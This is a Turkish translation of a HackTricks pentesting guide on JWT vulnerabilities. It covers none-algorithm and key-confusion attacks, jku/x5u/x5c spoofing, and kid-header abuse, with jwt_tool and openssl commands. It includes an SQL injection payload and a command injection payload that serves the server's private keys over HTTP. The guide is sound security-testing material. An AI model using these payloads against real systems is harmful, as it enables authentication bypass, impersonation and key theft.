19 KiB
JWT Güvenlik Açıkları (Json Web Token'lar)
AWS hacklemeyi sıfırdan ileri seviyeye öğrenin htARTE (HackTricks AWS Red Team Expert) ile
HackTricks'ı desteklemenin diğer yolları:
- Şirketinizin HackTricks'te reklamını görmek istiyorsanız veya HackTricks'i PDF olarak indirmek istiyorsanız ABONELİK PLANLARI'na göz atın!
- Resmi PEASS & HackTricks ürünlerini edinin
- The PEASS Family'yi keşfedin, özel NFT'lerimiz koleksiyonumuz
- 💬 Discord grubuna veya telegram grubuna katılın veya bizi Twitter'da 🐦 @carlospolopm** takip edin.**
- Hacking hilelerinizi paylaşarak PR'lar göndererek HackTricks ve HackTricks Cloud github depolarına katkıda bulunun.
Eğer hacking kariyerine ilgi duyuyorsanız ve hacklenemez olanı hacklemek istiyorsanız - işe alıyoruz! (akıcı şekilde Lehçe yazılı ve konuşma gereklidir).
{% embed url="https://www.stmcyber.com/careers" %}
Bu yazının bir kısmı şu harika yazıya dayanmaktadır: https://github.com/ticarpi/jwt_tool/wiki/Attack-Methodology
JWT'leri pentest etmek için harika bir araç olanın yazarı https://github.com/ticarpi/jwt_tool
Hızlı Kazanımlar
jwt_tool'u Tüm Testler!
modunda çalıştırın ve yeşil çizgileri bekleyin
python3 jwt_tool.py -M at \
-t "https://api.example.com/api/v1/user/76bab5dd-9307-ab04-8123-fda81234245" \
-rh "Authorization: Bearer eyJhbG...<JWT Token>"
Eğer şanslıysanız, araç JWT'yi yanlış şekilde kontrol eden web uygulamasında bazı durumları bulabilir:
Daha sonra, proxy'nizde isteği arayabilir veya jwt_tool'u kullanarak o istek için kullanılan JWT'yi boşaltabilirsiniz:
python3 jwt_tool.py -Q "jwttool_706649b802c9f5e41052062a3787b291"
Veriyi değiştirmeden veriyi bozma
Sadece veriyi bozarak imzayı değiştirmeden kontrol edebilir ve sunucunun imzayı kontrol edip etmediğini kontrol edebilirsiniz. Örneğin, kullanıcı adınızı "admin" olarak değiştirmeyi deneyin.
Token kontrol ediliyor mu?
Bir JWT'nin imzasının doğrulandığını kontrol etmek için:
- Bir hata mesajı doğrulamanın devam ettiğini gösterir; ayrıntılı hatalardaki hassas bilgiler incelenmelidir.
- Dönen sayfada bir değişiklik doğrulamayı gösterir.
- Herhangi bir değişiklik olmaması doğrulamanın olmadığını gösterir; bu durumda veri paylaşımlarını bozmak için denemeler yapılabilir.
Köken
Tokenin sunucu tarafından mı yoksa istemci tarafından mı oluşturulduğunu belirlemek önemlidir, bunu proxy'nin istek geçmişini inceleyerek yapabilirsiniz.
- İstemci tarafından ilk kez görülen tokenler, anahtarın istemci tarafı koduna maruz kalabileceğini gösterir ve daha fazla inceleme gerektirir.
- Sunucu tarafından kaynaklanan tokenler güvenli bir süreci işaret eder.
Süre
Tokenin 24 saatten fazla sürüp sürmediğini kontrol edin... belki hiç süresi dolmuyordur. "exp" alanı varsa, sunucunun bunu doğru şekilde işleyip işlemediğini kontrol edin.
HMAC gizli anahtarını kaba kuvvetle çözme
Algoritmayı None olarak değiştirme (CVE-2015-9235)
Kullanılan algoritmayı "None" olarak ayarlayın ve imza kısmını kaldırın.
Bu zafiyeti denemek ve JWT içinde farklı değerleri değiştirmek için Burp uzantısını "JSON Web Token" kullanın (istemi Repeater'a gönderin ve "JSON Web Token" sekmesinde token değerlerini değiştirebilirsiniz. Ayrıca "Alg" alanının değerini "None" olarak seçebilirsiniz).
Algoritmayı RS256(asimetrik) den HS256(simetrik) olarak değiştirme (CVE-2016-5431/CVE-2016-10555)
HS256 algoritması, her mesajı imzalamak ve doğrulamak için gizli anahtar kullanır.
RS256 algoritması, mesajı imzalamak için özel anahtar kullanır ve doğrulama için genel anahtarı kullanır.
Algoritmayı RS256'dan HS256'ya değiştirirseniz, arka uç kodu genel anahtarı gizli anahtar olarak kullanır ve ardından imzayı doğrulamak için HS256 algoritmasını kullanır.
Daha sonra genel anahtarı kullanarak RS256'yı HS256'ya değiştirerek geçerli bir imza oluşturabiliriz. Bu işlemi gerçekleştirmek için web sunucusunun sertifikasını alabilirsiniz.
openssl s_client -connect example.com:443 2>&1 < /dev/null | sed -n '/-----BEGIN/,/-----END/p' > certificatechain.pem #For this attack you can use the JOSEPH Burp extension. In the Repeater, select the JWS tab and select the Key confusion attack. Load the PEM, Update the request and send it. (This extension allows you to send the "non" algorithm attack also). It is also recommended to use the tool jwt_tool with the option 2 as the previous Burp Extension does not always works well.
openssl x509 -pubkey -in certificatechain.pem -noout > pubkey.pem
Başlık içinde yeni genel anahtar
Bir saldırgan, belirtecin başlığına yeni bir anahtar gömerek sunucunun bu yeni anahtarı imzayı doğrulamak için kullanmasını sağlar (CVE-2018-0114).
Bu, "JSON Web Tokens" Burp eklentisi ile yapılabilir.
(İsteği Repeater'a gönderin, JSON Web Token sekmesinde "CVE-2018-0114"ü seçin ve isteği gönderin).
JWKS Sahteciliği
Talimatlar, JWT belgelerinin güvenliğini değerlendirmek için bir yöntemi detaylandırır, özellikle de "jku" başlığını kullananları. Bu iddia, belirtecin doğrulaması için gerekli genel anahtarı içeren bir JWKS (JSON Web Anahtar Seti) dosyasına bağlanmalıdır.
- "jku" Başlığıyla Belge Değerlendirme:
- "jku" iddiasının URL'sini doğrulayarak, uygun JWKS dosyasına yönlendirdiğinden emin olun.
- Belgenin "jku" değerini değiştirerek, trafiği gözlemlemeye izin veren kontrol edilen bir web hizmetine yönlendirin.
- HTTP Etkileşimi İçin İzleme:
- Belirtilen URL'ye yapılan HTTP isteklerini gözlemlemek, sunucunun sağlanan bağlantıdan anahtarları almaya çalıştığını gösterir.
- Bu işlem için
jwt_tool
kullanırken, testi kolaylaştırmak içinjwtconf.ini
dosyasını kişisel JWKS konumunuzla güncellemek önemlidir. jwt_tool
için Komut:- Aşağıdaki komutu kullanarak
jwt_tool
ile senaryoyu simüle edin:
python3 jwt_tool.py JWT_BURAYA -X s
Kid Sorunları Genel Bakış
kid
olarak bilinen isteğe bağlı bir başlık iddiası, belirli bir anahtarı tanımlamak için kullanılır ve özellikle birden fazla anahtarın bulunduğu ortamlarda belirtecin imzasını doğrulamak için uygun anahtarı seçmede önemli hale gelir. Bu iddia, belirtecin imzasını doğrulamak için uygun anahtarı seçmede yardımcı olur.
"kid" ile Anahtarı Açığa Çıkarma
Başlıkta kid
iddiası bulunduğunda, ilgili dosyayı veya varyasyonlarını web dizininde aramak tavsiye edilir. Örneğin, "kid":"key/12345"
belirtilmişse, /key/12345 ve /key/12345.pem dosyaları web kökünde aranmalıdır.
"kid" ile Yol Geçişi
kid
iddiası, dosya sistemi üzerinde gezinmek için de kullanılabilir ve bu, keyfi bir dosyanın seçilmesine izin verebilir. Belirli dosyaları veya hizmetleri hedeflemek için kid
değerini değiştirerek bağlantıyı test etmek veya Sunucu Tarafı İstek Sahteciliği (SSRF) saldırıları gerçekleştirmek mümkündür. JWT'yi değiştirerek kid
değerini değiştirmek ve orijinal imzayı korumak, jwt_tool'da -T
bayrağını kullanarak aşağıda gösterildiği gibi başarılabilmektedir:
python3 jwt_tool.py <JWT> -I -hc kid -hv "../../dev/null" -S hs256 -p ""
Hedeflenen dosyaların tahmin edilebilir içeriği ile, geçerli bir JWT oluşturmak mümkündür. Örneğin, Linux sistemlerindeki /proc/sys/kernel/randomize_va_space
dosyası, içerdiği 2 değeri ile kid
parametresinde 2 olarak simetrik şifre olarak JWT oluşturmak için kullanılabilir.
"kid" Üzerinden SQL Enjeksiyonu
Eğer kid
iddiasının içeriği bir veritabanından bir şifre almak için kullanılıyorsa, kid
yükünü değiştirerek SQL enjeksiyonu kolaylaştırılabilir. JWT imzalama sürecini değiştirmek için SQL enjeksiyonu kullanan bir örnek yük şunları içerir:
non-existent-index' UNION SELECT 'ATTACKER';-- -
Bu değişiklik, JWT imzalama için bilinen gizli anahtar olan ATTACKER
'ın kullanılmasını zorlar.
"kid" Üzerinden İşletim Sistemi Enjeksiyonu
kid
parametresinin bir komut yürütme bağlamında kullanılan bir dosya yolunu belirttiği bir senaryo, Uzaktan Kod Yürütme (RCE) güvenlik açıklarına yol açabilir. kid
parametresine komutlar enjekte edilerek, özel anahtarlar açığa çıkarılabilir. RCE ve anahtarın açığa çıkarılması için bir örnek yük şu şekildedir:
/root/res/keys/secret7.key; cd /root/res/keys/ && python -m SimpleHTTPServer 1337&
x5u ve jku
jku
jku, JWK Set URL'nin kısaltmasıdır.
Eğer token bir "jku" Header iddiası kullanıyorsa, sağlanan URL'yi kontrol edin. Bu, belirtilen URL'yi içeren JWKS dosyasını işaret etmelidir ki bu dosya, token'ı doğrulamak için kullanılan Genel Anahtarı içermelidir. Trafik izleyebileceğiniz bir web hizmetine jku değerini işaret edecek şekilde token'ı değiştirin.
İlk olarak, yeni özel ve genel anahtarlarla yeni bir sertifika oluşturmanız gerekmektedir.
openssl genrsa -out keypair.pem 2048
openssl rsa -in keypair.pem -pubout -out publickey.crt
openssl pkcs8 -topk8 -inform PEM -outform PEM -nocrypt -in keypair.pem -out pkcs8.key
Sonra örneğin jwt.io kullanarak oluşturulan genel ve özel anahtarlarla yeni JWT oluşturabilir ve jku parametresini oluşturulan sertifikaya işaret edecek şekilde ayarlayabilirsiniz. Geçerli bir jku sertifikası oluşturmak için orijinalini indirebilir ve gerekli parametreleri değiştirebilirsiniz.
"e" ve "n" parametrelerini bir genel sertifikadan alabilirsiniz:
from Crypto.PublicKey import RSA
fp = open("publickey.crt", "r")
key = RSA.importKey(fp.read())
fp.close()
print("n:", hex(key.n))
print("e:", hex(key.e))
x5u
X.509 URL. PEM formunda kodlanmış X.509 (bir sertifika format standardı) genel sertifikalar kümesine işaret eden bir URI. Kümedeki ilk sertifika bu JWT'yi imzalamak için kullanılan sertifikadır. Ardışık sertifikalar birbirini imzalar, böylece sertifika zinciri tamamlanmış olur. X.509, RFC 5280'de tanımlanmıştır. Sertifikaların aktarımı için taşıma güvenliği gereklidir.
Bu başlığı kendi kontrolünüzdeki bir URL'ye değiştirmeyi deneyin ve herhangi bir istek alınıp alınmadığını kontrol edin. Bu durumda JWT'yi manipüle edebilirsiniz.
Kendi kontrolünüzdeki bir sertifika kullanarak yeni bir belge oluşturmak için, sertifikayı oluşturmanız ve genel ve özel anahtarları çıkarmanız gerekmektedir:
openssl req -x509 -nodes -days 365 -newkey rsa:2048 -keyout attacker.key -out attacker.crt
openssl x509 -pubkey -noout -in attacker.crt > publicKey.pem
Ardından örneğin jwt.io kullanabilirsiniz, yeni JWT'yi oluşturmak için oluşturulan genel ve özel anahtarları ve x5u parametresini .crt uzantılı sertifikaya işaret etmek.
Ayrıca bu zafiyetleri SSRF'ler için kötüye kullanabilirsiniz.
x5c
Bu parametre base64 ile sertifikayı içerebilir:
Saldırgan, kendi kendine imzalı bir sertifika oluşturursa ve ilgili özel anahtarı kullanarak sahte bir belge oluşturursa ve "x5c" parametresinin değerini yeni oluşturulan sertifikayla değiştirirse ve diğer parametreleri, yani n, e ve x5t'yi değiştirirse, aslında sahte belge sunucu tarafından kabul edilecektir.
openssl req -x509 -nodes -days 365 -newkey rsa:2048 -keyout attacker.key -outattacker.crt
openssl x509 -in attacker.crt -text
Gömülü Genel Anahtar (CVE-2018-0114)
Eğer JWT aşağıdaki senaryoda olduğu gibi bir genel anahtarı gömülüyse:
Aşağıdaki nodejs betiği kullanılarak bu verilerden bir genel anahtar oluşturmak mümkündür:
const NodeRSA = require('node-rsa');
const fs = require('fs');
n ="ANQ3hoFoDxGQMhYOAc6CHmzz6_Z20hiP1Nvl1IN6phLwBj5gLei3e4e-DDmdwQ1zOueacCun0DkX1gMtTTX36jR8CnoBRBUTmNsQ7zaL3jIU4iXeYGuy7WPZ_TQEuAO1ogVQudn2zTXEiQeh-58tuPeTVpKmqZdS3Mpum3l72GHBbqggo_1h3cyvW4j3QM49YbV35aHV3WbwZJXPzWcDoEnCM4EwnqJiKeSpxvaClxQ5nQo3h2WdnV03C5WuLWaBNhDfC_HItdcaZ3pjImAjo4jkkej6mW3eXqtmDX39uZUyvwBzreMWh6uOu9W0DMdGBbfNNWcaR5tSZEGGj2divE8";
e = "AQAB";
const key = new NodeRSA();
var importedKey = key.importKey({n: Buffer.from(n, 'base64'),e: Buffer.from(e, 'base64'),}, 'components-public');
console.log(importedKey.exportKey("public"));
Yeni bir özel/genel anahtar oluşturmak, yeni genel anahtarı belirteci içine gömmek ve yeni bir imza oluşturmak mümkündür:
openssl genrsa -out keypair.pem 2048
openssl rsa -in keypair.pem -pubout -out publickey.crt
openssl pkcs8 -topk8 -inform PEM -outform PEM -nocrypt -in keypair.pem -out pkcs8.key
Bu Node.js betiği kullanarak "n" ve "e" değerlerini elde edebilirsiniz:
const NodeRSA = require('node-rsa');
const fs = require('fs');
keyPair = fs.readFileSync("keypair.pem");
const key = new NodeRSA(keyPair);
const publicComponents = key.exportKey('components-public');
console.log('Parameter n: ', publicComponents.n.toString("hex"));
console.log('Parameter e: ', publicComponents.e.toString(16));
Son olarak, genel ve özel anahtar ve yeni "n" ve "e" değerlerini kullanarak jwt.io sitesini kullanarak herhangi bir bilgi ile yeni geçerli bir JWT oluşturabilirsiniz.
JTI (JWT Kimliği)
JTI (JWT Kimliği) iddiası, bir JWT Jetonu için benzersiz bir tanımlayıcı sağlar. Jetonun tekrarlanmasını önlemek için kullanılabilir.
Ancak, ID'nin maksimum uzunluğunun 4 (0001-9999) olduğu bir durumu hayal edin. İstek 0001 ve 10001 kullanacak aynı ID'yi kullanacak. Bu nedenle, backend her istekte ID'yi artırıyorsa, bu durumu istekleri tekrar oynatmak için kullanabilirsiniz (her başarılı tekrar oynatma arasında 10000 istek göndermek gerekebilir).
JWT Kayıtlı iddiaları
{% embed url="https://www.iana.org/assignments/jwt/jwt.xhtml#claims" %}
Diğer saldırılar
Çapraz-servis Röle Saldırıları
Bazı web uygulamalarının, jetonlarının oluşturulması ve yönetimi için güvenilir bir JWT hizmetine güvendiği gözlemlenmiştir. Bir JWT hizmeti tarafından bir istemci için oluşturulan bir jetonun, aynı JWT hizmetinin başka bir istemcisi tarafından kabul edildiği kaydedilmiştir. Üçüncü taraf bir hizmet aracılığıyla bir JWT'nin verilmesi veya yenilenmesi gözlemlenirse, aynı kullanıcı adı/e-posta ile başka bir hizmetin istemcisine hesap oluşturulması olasılığı araştırılmalıdır. Daha sonra elde edilen jetonun hedefe bir istekte tekrarlanması denemelidir.
- Jetonunuzun kabul edilmesi, herhangi bir kullanıcının hesabının taklit edilmesine olanak tanıyan ciddi bir sorunu işaret edebilir. Ancak, üçüncü taraf bir uygulamada kaydolmak için daha geniş test izni gerekebileceği unutulmamalıdır, çünkü bu durum yasal bir belirsizlik alanına girebilir.
Jetonların Süresi Kontrolü
Jetonun süresi, "exp" Yük iddiası kullanılarak kontrol edilir. JWT'ler genellikle oturum bilgisi olmadan kullanıldığından dikkatli bir işlem gereklidir. Birçok durumda, başka bir kullanıcının JWT'sini yakalayıp tekrar oynatmak, o kullanıcının taklit edilmesine olanak tanıyabilir. JWT RFC'si, JWT tekrar oynatma saldırılarını azaltmak için jetona bir süre belirlemek için "exp" iddiasını kullanmayı önermektedir. Ayrıca, uygulamanın bu değerin işlenmesini ve süresi geçmiş jetonların reddedilmesini sağlamak için ilgili kontrolleri uygulaması önemlidir. Jetonun "exp" iddiasını içeriyorsa ve test süre sınırlarına izin veriyorsa, jetonu saklamak ve süresi geçtikten sonra tekrar oynatmak tavsiye edilir. Jetonun içeriği, zaman damgası ayrıştırma ve süresi kontrol etme (zaman damgası UTC'de) jwt_tool'un -R bayrağı kullanılarak okunabilir.
- Uygulamanın hala jetonu doğrulaması durumunda bir güvenlik riski olabilir, çünkü bu, jetonun hiçbir zaman süresinin dolmayacağını ima edebilir.
Araçlar
{% embed url="https://github.com/ticarpi/jwt_tool" %}
Eğer hacking kariyerine ilgi duyuyorsanız ve hacklenemez olanı hacklemek istiyorsanız - işe alıyoruz! (akıcı şekilde yazılı ve konuşulan Lehçe gereklidir).
{% embed url="https://www.stmcyber.com/careers" %}
Sıfırdan kahraman olmak için AWS hackleme öğrenin htARTE (HackTricks AWS Red Team Expert) ile
HackTricks'ı desteklemenin diğer yolları:
- Şirketinizi HackTricks'te reklamını görmek veya HackTricks'i PDF olarak indirmek istiyorsanız ABONELİK PLANLARI'na göz atın!
- Resmi PEASS & HackTricks ürünlerini edinin
- The PEASS Family'yi keşfedin, özel NFT'lerimiz koleksiyonumuz
- Katılın 💬 Discord grubuna veya telegram grubuna veya bizi Twitter 🐦 @carlospolopm** takip edin.**
- Hacking püf noktalarınızı paylaşın, PR'lar göndererek HackTricks ve HackTricks Cloud github depolarına.